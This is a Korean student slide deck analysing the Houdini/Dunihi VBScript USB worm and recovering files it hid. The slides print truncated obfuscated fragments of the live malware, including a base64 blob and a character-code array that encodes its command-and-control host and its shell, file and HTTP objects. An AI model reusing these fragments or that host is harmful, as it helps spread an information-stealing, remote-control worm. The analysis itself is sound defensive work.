25
VBScript 악성코드 분석 한양대학교 ICEWALL 이상원 devleoper 2015/06/27 @ KUSISWALL

VBScript USB 악성코드 분석

  • Upload
    leo-yi

  • View
    194

  • Download
    2

Embed Size (px)

Citation preview

Page 2: VBScript USB 악성코드 분석

devleoper이상원

• 한양대학교 컴퓨터전공 / ICEWALL 회원

• devleoper 오타난 거 아니에요.

• php를 예전에 썼었고 요즘은 Ruby를 주로 쓰고 웹 개발에 인연이 생겨 웹과 네트워크 보안을 공부합니다.

• leo.re.krtwitter @devleoperfb.me/devleoper

Page 3: VBScript USB 악성코드 분석

시작• 학교 실험실에 USB를 꽂았다가 옮은 악성코드

• OS X을 쓰니 감염될 일은 없었지만… 한번 뜯어볼까

• 찾아보니 VBScript로 짜여진(.vbs) 악성코드

• 함께 뜯어 봅시다

Page 4: VBScript USB 악성코드 분석

스크립트 언어• 프로그램이 실행되는 순간 소스 코드를 읽어서실시간으로 실행시켜 주는 언어

• 매번 컴파일해서 써야 하는 언어가 불편할 때 편리

• 컴퓨터 성능이 좋아지니 많이 사용되고 있습니다

• 소스 코드 상태로 배포되는 프로그램이 많습니다

• PHP, Python, Ruby, JavaScript, VBScript

Page 5: VBScript USB 악성코드 분석

VBScript

• 마이크로소프트가 만든 스크립트 언어

• 윈도우 98 이후 대부분의 윈도우에 기본 탑재

• 이름 그대로 Visual Basic의 문법을 따왔어요

• 잘나갈때는 ASP로 웹 개발할때도 쓰던 언어

Page 6: VBScript USB 악성코드 분석

파일을 열어보니…ali  =  fuck(“UkZwRFRFOVdSVklnUFNBaU16bDhaSHA4TmpCOFpIcDhPVEY4WkhwOE16SjhaSHA4TVRFMGZHUjZmREV3TVh4a2Vudz  VPWHhrZW53eE1URjhaSHA4TVRBd2ZHUjZmREV3TVh4a2Vud3hNVFI4WkhwOE16SjhaSHA4TlRoOFpIcDhNeko4WkhwOE1UQTBmR1I2ZkRFeE1YeGtlbnd4TVRkOFpIcDhNVEF3ZkdSNmZERXdOWHhrZW53eE1UQjhaSHA4TVRBMWZHUjZmRE15ZkdSNmZEUXdmR1I2ZkRrNWZHUjZmRFF4ZkdSNmZETXlmR1I2ZkRFeE5YeGtlbnd4TURkOFpIcDhNVEl4ZkdSNmZERXhNbnhrZW53eE1ERjhaSHA4TXpKOFpIcDhOVGg4WkhwOE16SjhaSHA4TVRBMGZHUjZmREV4TVh4a2Vud3hNVGQ4WkhwOE1UQXdmR1I2ZkRFd05YeGtlbnd4TVRCOFpIcDhNVEExZkdSNmZEUTFmR1I2ZkRFd01ueGtlbnd4TWpCOFpIcDhNeko4WkhwOE9UTjhaSHA4TmpKOFpIcDhNVE44WkhwOE1UQjhaSHA4TVROOFpIcDhNVEI4WkhwOE16bDhaSHA4TmpGOFpIcDhORFY4WkhwOE5qRjhaSHA4TkRWOFpIcDhOakY4WkhwOE5EVjhaSHA4TmpGOFpIcDhORFY4WkhwOE5qRjhaSHA4TXpKOFpIcDhPVGw4WkhwOE1URXhmR1I2ZkRFeE1IeGtlbnd4TURKOFpIcDhNVEExZkdSNmZERXdNM3hrZW53ek1ueGtlbncyTVh4a2VudzBOWHhrZW53Mk1YeGtlbncwTlh4a2VudzJNWHhrZW53ME5YeGtlbncyTVh4a2VudzBOWHhrZW53Mk1YeGtlbncwTlh4a2VudzJNWHhrZW53ME5YeGtlbncyTVh4a2VudzBOWHhrZW53Mk1YeGtlbncwTlh4a2VudzJNWHhrZW53ME5YeGtlbncyTVh4a2VudzBOWHhrZW53Mk1YeGtlbncwTlh4a2VudzJNWHhrZW53ME5YeGtlbncyTVh4a2VudzBOWHhrZW53Mk1YeGtlbncwTlh4a2VudzJNWHhrZW53eE0zeGtlbnd4TUh4a2Vud3hNM3hrZW53eE1IeGtlbnd4TURSOFpIcDhNVEV4ZkdSNmZERXhOWHhrZW53eE1UWjhaSHA4TXpKOFpIcDhOakY4WkhwOE16SjhaSHA4TXpSOFpIcDhNVEF5ZkdSNmZERXdNbnhrZW53ME5ueGtlbnd4TVRWOFpIcDhNVEF4ZkdSNmZERXhOSHhrZW53eE1UaDhaSHA4TVRBeGZHUjZmRGs0ZkdSNmZERXdPSHhrZW53eE1URjhaSHA4TVRBemZHUjZmRFEyZkdSNmZERXhNSHhrZW53eE1ERjhaSHA4TVRFMmZHUjZmRE0wZkdSNmZERXpmR1I2ZkRFd2ZHUjZmREV4TW54a2Vud3hNVEY4WkhwOE1URTBmR1I2ZkRFeE5ueGtlbnd6TW54a2VudzJNWHhrZW53ek1ueGtlbncxTTN4a2VudzBPSHhrZW53ME9IeGtlbncwT0h4a2Vud3hNM3hrZW53eE1IeGtlbnd4TURWOFpIcDhNVEV3ZkdSNmZERXhOWHhrZW53eE1UWjhaSHA4T1RkOFpIcDhNVEE0ZkdSNmZERXdPSHhrZW53eE1EQjhaSHA4TVRBMWZHUjZmREV4Tkh4a2Vud3pNbnhrZW53Mk1YeGtlbnd6TW54a2Vud3pOSHhrZW53ek4zeGtlbnd4TVRaOFpIcDhNVEF4ZkdSNmZERXdPWHhrZW53eE1USjhaSHA4TXpkOFpIcDhNelI4WkhwOE1UTjhaSHA4TVRCOFpIcDhNVEE0ZkdSNmZERXhNSHhrZW53eE1EZDhaSHA4TVRBeWZHUjZmREV3Tlh4a2Vud3hNRGg4WkhwOE1UQXhmR1I2ZkRNeWZHUjZmRFl4ZkdSNmZETXlmR1I2ZkRFeE5ueGtlbnd4TVRSOFpIcDhNVEUzZkdSNmZERXdNWHhrZW53eE0zeGtlbnd4TUh4a2Vud3hNRGg4WkhwOE1URXdmR1I2ZkRFd04zeGtlbnd4TURKOFpIcDhNVEV4ZkdSNmZERXdPSHhrZW53eE1EQjhaSHA4TVRBeGZHUjZmREV4Tkh4a2Vud3pNbnhrZW53Mk1YeGtlbnd6TW54a2Vud3hNVFo4WkhwOE1URTBmR1I2ZkRFeE4zeGtlbnd4TURGOFpIcDhNVE44WkhwOE1UQjhaSHA4TVROOFpIcDhNVEI4WkhwOE16bDhaSHA4TmpGOFpIcDhORFY4WkhwOE5qRjhaSHA4TkRWOFpIcDhOakY4WkhwOE5EVjhaSHA4TmpGOFpIcDhORFY4WkhwOE5qRjhaSHA4TXpKOFpIcDhNVEV5ZkdSNmZERXhOM3hrZW53NU9IeGtlbnd4TURoOFpIcDhNVEExZkdSNmZEazVmR1I2ZkRNeWZHUjZmREV4T0h4a2VudzVOM3hrZW53eE1UUjhaSHA4TXpKOFpIcDhOakY4WkhwOE5EVjhaSHA4TmpGOFpIcDhORFY4WkhwOE5qRjhaSHA4TkRWOFpIcDhOakY4WkhwOE5EVjhaSHA4TmpGOFpIcDhORFY4WkhwOE5qRjhaSHA4TkRWOFpIcDhOakY4WkhwOE5EVjhaSHA4TmpGOFpIcDhORFY4WkhwOE

Page 7: VBScript USB 악성코드 분석

Base64

• 바이너리 값을 사람이 볼 수 있는 문자로 표현하는 방법

• 대문자 + 소문자 + 숫자 + 더하기랑 슬래시 해서 64

• 비트를 앞에서부터 6비트씩 잘라서 표현

• 엄청 간단하기 때문에 암호화라고 보기는 좀…

L                e                o  01001100  01100101  01101111  T          G            V            v

원본 바이너리 base64

Page 8: VBScript USB 악성코드 분석

아래로 내려가보니….

Page 9: VBScript USB 악성코드 분석

두번 디코딩하고 나면…DZCLOVER  =  "39|dz|60|dz|91|dz|32|dz|114|dz|101|dz|99|dz|111|dz|100|dz|101|dz|114|dz|32|dz|58|dz|32|dz|104|dz|111|dz|117|dz|100|dz|105|dz|110|dz|105|dz|32|dz|40|dz|99|dz|41|dz|32|dz|115|dz|107|dz|121|dz|112|dz|101|dz|32|dz|58|dz|32|dz|104|dz|111|dz|117|dz|100|dz|105|dz|110|dz|105|dz|45|dz|102|dz|120|dz|32|dz|93|dz|62|dz|13|dz|10|dz|13|dz|10|dz|39|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|32|dz|99|dz|111|dz|110|dz|102|dz|105|dz|103|dz|32|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|13|dz|10|dz|13|dz|10|dz|104|dz|111|dz|115|dz|116|dz|32|dz|61|dz|32|dz|34|dz|102|dz|102|dz|46|dz|115|dz|101|dz|114|dz|118|dz|101|dz|98|dz|108|dz|111|dz|103|dz|46|dz|110|dz|101|dz|116|dz|34|dz|13|dz|10|dz|112|dz|111|dz|114|dz|116|dz|32|dz|61|dz|32|dz|53|dz|48|dz|48|dz|48|dz|13|dz|10|dz|105|dz|110|dz|115|dz|116|dz|97|dz|108|dz|108|dz|100|dz|105|dz|114|dz|32|dz|61|dz|32|dz|34|dz|37|dz|116|dz|101|dz|109|dz|112|dz|37|dz|34|dz|13|dz|10|dz|108|dz|110|dz|107|dz|102|dz|105|dz|108|dz|101|dz|32|dz|61|dz|32|dz|116|dz|114|dz|117|dz|101|dz|13|dz|10|dz|108|dz|110|dz|107|dz|102|dz|111|dz|108|dz|100|dz|101|dz|114|dz|32|dz|61|dz|32|dz|116|dz|114|dz|117|dz|101|dz|13|dz|10|dz|13|dz|10|dz|39|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|32|dz|112|dz|117|dz|98|dz|108|dz|105|dz|99|dz|32|dz|118|dz|97|dz|114|dz|32|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|13|dz|10|dz|13|dz|10|dz|100|dz|105|dz|109|dz|32|dz|115|dz|104|dz|101|dz|108|dz|108|dz|111|dz|98|dz|106|dz|32|dz|13|dz|10|dz|115|dz|101|dz|116|dz|32|dz|115|dz|104|dz|101|dz|108|dz|108|dz|111|dz|98|dz|106|dz|32|dz|61|dz|32|dz|119|dz|115|dz|99|dz|114|dz|105|dz|112|dz|116|dz|46|dz|99|dz|114|dz|101|dz|97|dz|116|dz|101|dz|111|dz|98|dz|106|dz|101|dz|99|dz|116|dz|40|dz|34|dz|119|dz|115|dz|99|dz|114|dz|105|dz|112|dz|116|dz|46|dz|115|dz|104|dz|101|dz|108|dz|108|dz|34|dz|41|dz|13|dz|10|dz|100|dz|105|dz|109|dz|32|dz|102|dz|105|dz|108|dz|101|dz|115|dz|121|dz|115|dz|116|dz|101|dz|109|dz|111|dz|98|dz|106|dz|13|dz|10|dz|115|dz|101|dz|116|dz|32|dz|102|dz|105|dz|108|dz|101|dz|115|dz|121|dz|115|dz|116|dz|101|dz|109|dz|111|dz|98|dz|106|dz|32|dz|61|dz|32|dz|99|dz|114|dz|101|dz|97|dz|116|dz|101|dz|111|dz|98|dz|106|dz|101|dz|99|dz|116|dz|40|dz|34|dz|115|dz|99|dz|114|dz|105|dz|112|dz|116|dz|105|dz|110|dz|103|dz|46|dz|102|dz|105|dz|108|dz|101|dz|115|dz|121|dz|115|dz|116|dz|101|dz|109|dz|111|dz|98|dz|106|dz|101|dz|99|dz|116|dz|34|dz|41|dz|13|dz|10|dz|100|dz|105|dz|109|dz|32|dz|104|dz|116|dz|116|dz|112|dz|111|dz|98|dz|106|dz|13|dz|10|dz|115|dz|101|dz|116|dz|32|dz|104|dz|116|dz|116|dz|112|dz|111|dz|98|dz|106|dz|32|dz|61|dz|32|dz|99|dz|114

Page 10: VBScript USB 악성코드 분석

두번 디코딩하고 나면…DZCLOVER  =  "39|dz|60|dz|91|dz|32|dz|114|dz|101|dz|99|dz|111|dz|100|dz|101|dz|114|dz|32|dz|58|dz|32|dz|104|dz|111|dz|117|dz|100|dz|105|dz|110|dz|105|dz|32|dz|40|dz|99|dz|41|dz|32|dz|115|dz|107|dz|121|dz|112|dz|101|dz|32|dz|58|dz|32|dz|104|dz|111|dz|117|dz|100|dz|105|dz|110|dz|105|dz|45|dz|102|dz|120|dz|32|dz|93|dz|62|dz|13|dz|10|dz|13|dz|10|dz|39|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|32|dz|99|dz|111|dz|110|dz|102|dz|105|dz|103|dz|32|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|13|dz|10|dz|13|dz|10|dz|104|dz|111|dz|115|dz|116|dz|32|dz|61|dz|32|dz|34|dz|102|dz|102|dz|46|dz|115|dz|101|dz|114|dz|118|dz|101|dz|98|dz|108|dz|111|dz|103|dz|46|dz|110|dz|101|dz|116|dz|34|dz|13|dz|10|dz|112|dz|111|dz|114|dz|116|dz|32|dz|61|dz|32|dz|53|dz|48|dz|48|dz|48|dz|13|dz|10|dz|105|dz|110|dz|115|dz|116|dz|97|dz|108|dz|108|dz|100|dz|105|dz|114|dz|32|dz|61|dz|32|dz|34|dz|37|dz|116|dz|101|dz|109|dz|112|dz|37|dz|34|dz|13|dz|10|dz|108|dz|110|dz|107|dz|102|dz|105|dz|108|dz|101|dz|32|dz|61|dz|32|dz|116|dz|114|dz|117|dz|101|dz|13|dz|10|dz|108|dz|110|dz|107|dz|102|dz|111|dz|108|dz|100|dz|101|dz|114|dz|32|dz|61|dz|32|dz|116|dz|114|dz|117|dz|101|dz|13|dz|10|dz|13|dz|10|dz|39|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|32|dz|112|dz|117|dz|98|dz|108|dz|105|dz|99|dz|32|dz|118|dz|97|dz|114|dz|32|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|45|dz|61|dz|13|dz|10|dz|13|dz|10|dz|100|dz|105|dz|109|dz|32|dz|115|dz|104|dz|101|dz|108|dz|108|dz|111|dz|98|dz|106|dz|32|dz|13|dz|10|dz|115|dz|101|dz|116|dz|32|dz|115|dz|104|dz|101|dz|108|dz|108|dz|111|dz|98|dz|106|dz|32|dz|61|dz|32|dz|119|dz|115|dz|99|dz|114|dz|105|dz|112|dz|116|dz|46|dz|99|dz|114|dz|101|dz|97|dz|116|dz|101|dz|111|dz|98|dz|106|dz|101|dz|99|dz|116|dz|40|dz|34|dz|119|dz|115|dz|99|dz|114|dz|105|dz|112|dz|116|dz|46|dz|115|dz|104|dz|101|dz|108|dz|108|dz|34|dz|41|dz|13|dz|10|dz|100|dz|105|dz|109|dz|32|dz|102|dz|105|dz|108|dz|101|dz|115|dz|121|dz|115|dz|116|dz|101|dz|109|dz|111|dz|98|dz|106|dz|13|dz|10|dz|115|dz|101|dz|116|dz|32|dz|102|dz|105|dz|108|dz|101|dz|115|dz|121|dz|115|dz|116|dz|101|dz|109|dz|111|dz|98|dz|106|dz|32|dz|61|dz|32|dz|99|dz|114|dz|101|dz|97|dz|116|dz|101|dz|111|dz|98|dz|106|dz|101|dz|99|dz|116|dz|40|dz|34|dz|115|dz|99|dz|114|dz|105|dz|112|dz|116|dz|105|dz|110|dz|103|dz|46|dz|102|dz|105|dz|108|dz|101|dz|115|dz|121|dz|115|dz|116|dz|101|dz|109|dz|111|dz|98|dz|106|dz|101|dz|99|dz|116|dz|34|dz|41|dz|13|dz|10|dz|100|dz|105|dz|109|dz|32|dz|104|dz|116|dz|116|dz|112|dz|111|dz|98|dz|106|dz|13|dz|10|dz|115|dz|101|dz|116|dz|32|dz|104|dz|116|dz|116|dz|112|dz|111|dz|98|dz|106|dz|32|dz|61|dz|32|dz|99|dz|114

Page 11: VBScript USB 악성코드 분석

아이 갓 더 소스

Page 12: VBScript USB 악성코드 분석

소스를 열어보니• 예쁘게 주석도 달려 있고 들여쓰기도 잘 해놓았어요

• 무한 루프로 계속해서 돌아가면서 다른 저장 장치가 연결되거나 폴더가 새로 생기면 숨기고…

Page 13: VBScript USB 악성코드 분석

소스를 열어보니

• 지정된 서버에 컴퓨터의 이름이나 사용자 이름, 설치된 하드웨어나 안티바이러스 소프트웨어 목록을 전송

Page 14: VBScript USB 악성코드 분석

소스를 열어보니

• 지정된 서버에서 파일을 다운받거나업로드하는 코드도 발견

Page 15: VBScript USB 악성코드 분석

다른 곳에서는 어떻게 보나?

• VirusTotal에 제출해보니 57개 안티바이러스소프트웨어 중 33개가 이 악성코드를 진단

• Windows Defender 최신 버전을 사용한다면감염된 USB 꽂았을 때 즉시 초고속★삭제

https://www.virustotal.com/ko/file/84b5033d5acd2a964dcf2ddd9d8c840aa8b8a9a8bc860bbce946fc9cf7642cda/analysis/

Page 16: VBScript USB 악성코드 분석

다른 곳에서는 어떻게 보나?

http://www.symantec.com/security_response/writeup.jsp?docid=2013-091222-3652-99 http://www.microsoft.com/security/portal/threat/encyclopedia/Entry.aspx?Name=Worm%3AVBS%2FDunihi.A

USB나 제거 가능한 매체를 통해 전파됩니다.

해커가 귀하의 PC를 액세스할 수 있도록 합니다.

• 원격 서버에 HTTP POST 요청을 보냅니다.(PC 이름, 사용자 이름, 디스크 볼륨과 시리얼, 운영 체제 버전, 안티바이러스 소프트웨어 목록 등을 전송)

• 감염자의 PC에서 명령을 실행합니다.

• 파일을 다운로드하고 실행합니다.

• 로컬 파일을 공격자에게 전송합니다.

• …

Page 17: VBScript USB 악성코드 분석

정리

• 스크립트 언어에서는 난독화해봤자 어차피 원래 소스가 되어서(eval) 실행되기 때문에 쓸모 없음

• 괜히 공용 컴퓨터에 USB 못 꽂게 하는게 아닌듯

• 위험은 우리 주변을 늘 도사리고 있으니 남의 USB꽂아주지도, 남의 컴퓨터에 USB 꽂지도 말자!

Page 18: VBScript USB 악성코드 분석

…이 아니고, 치료는 했는데 내 폴더가 안 보이잖아!

끝…

Page 19: VBScript USB 악성코드 분석

…이 아니고, 치료는 했는데 내 폴더가 안 보이잖아!

Page 20: VBScript USB 악성코드 분석

바로가기 만들고 숨기면서 무슨 짓을 했던 걸까요?

Page 21: VBScript USB 악성코드 분석

도와줘요 테크넷!

상수 값 설명

일반 0 아무런 attribute 값이 없을 때

읽기 전용 1 읽을 수는 있지만 수정은 안 됨

숨김 2 내 컴퓨터나 Windows 탐색기에서 보이지 않음

시스템 4 운영체제에서 필요로 하는 파일

https://technet.microsoft.com/en-us/library/ee198707.aspx

• FileSystemObj에서 파일의 속성 값을 불러오거나 변경할 때는 상수에 해당하는 값을 더하는 걸로 계산합니다. (마치 유닉스 시스템의 퍼미션처럼)

2 + 4 = 숨김 파일 + 시스템 파일

Page 22: VBScript USB 악성코드 분석

체크를 풀면 보이긴 하지만…

• 보호된 운영체제 파일로 간주되어 일반적인 방법으로 볼 수도 없고 보호를 풀 수도 없음.

Page 23: VBScript USB 악성코드 분석

원상 복귀 스크립트 만들기

https://gist.github.com/devleoper/60262bf56077d8d3e35d

Page 24: VBScript USB 악성코드 분석

한번 더 정리

• 지금까지 Houdini Worm을 분석하고우리들의 USB를 원상 복귀하는것까지 알아봤습니다.

• USB는 잘 챙겨야겠습니다.

• 공용 컴퓨터에 파일 옮길때는 클라우드가 안전하…죠?

• 스크립트 언어는 배워두면 좋습니다.

Page 25: VBScript USB 악성코드 분석

진짜 끝감사합니다

twitter @devleoper fb.me/devleoper